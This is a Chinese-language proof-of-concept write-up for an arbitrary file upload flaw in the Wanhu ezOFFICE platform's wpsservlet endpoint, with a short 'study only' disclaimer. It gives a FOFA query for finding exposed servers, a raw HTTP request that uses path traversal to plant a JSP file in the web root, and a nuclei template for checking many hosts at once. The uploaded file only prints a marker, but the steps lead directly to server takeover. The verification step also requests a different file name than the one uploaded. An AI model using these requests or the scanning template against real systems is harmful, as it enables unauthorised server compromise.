免责声明：
本文内容为学习笔记分享，仅供技术学习参考，请勿用作违法用途，任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责，与作者无关！！！
漏洞描述
万户ezOFFICE协同管理平台是一个综合信息基础应用平台分为企业版和政务版。万户ezOFFICE协同管理平台wpsservlet接口存在任意文件上传。攻击者可上传恶意脚本文件获取服务器权限。
fofa语句
app="万户网络-ezOFFICE"漏洞复现
打开页面
构造payload
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=40067&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cache-Control: max-age=0
Content-Length: 176
Content-Type: multipart/form-data; boundary=55aeb894de1521afe560c924fad7c6fb
--55aeb894de1521afe560c924fad7c6fb
Content-Disposition: form-data; name="NewFile"; filename="40067.jsp"
<% out.print("797276100");%>
--55aeb894de1521afe560c924fad7c6fb--查看上传文件
GET /defaultroot/platform/portal/layout/changge.jsp HTTP/1.1
Host:
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: SESSIONIDOA=EB1043B44CC372838BA11B409A74D123; SESSIONIDOA=FEA19BD2B8C223D5B2CA51E82F720220; LocLan=zh_CN
Connection: close
nuclei批量验证
id: wanhu-ezoffice-wpsservlet-fileupload
info:
name: 万户ezoffice wpsservlet任意文件上传漏洞
author: changge
severity: critical
description: 万户ezOFFICE协同管理平台是一个综合信息基础应用平台分为企业版和政务版。万户ezOFFICE协同管理平台wpsservlet接口存在任意文件上传。攻击者可上传恶意脚本文件获取服务器权限。
tags: upload,wanhu,2023,ezoffice
metadata:
fofa-query: app="万户网络-ezOFFICE"
verified: true
max-request: 1
variables:
file_name: "{{to_lower(rand_text_alpha(5))}}"
file_content: "{{to_lower(rand_text_alpha(8))}}"
boundary: "{{to_lower(rand_text_alpha(32))}}"
requests:
- raw:
- |-
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId={{file_name}}&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary={{boundary}}
Content-Length: 200
--{{boundary}}
Content-Disposition: form-data; name="NewFile"; filename="{{file_name}}.jsp"
<% out.print("{{file_content}}");%>
--{{boundary}}--
- |
GET /defaultroot/platform/portal/layout/{{file_name}}.jsp HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{{file_content}}'
- type: status
status:
- 200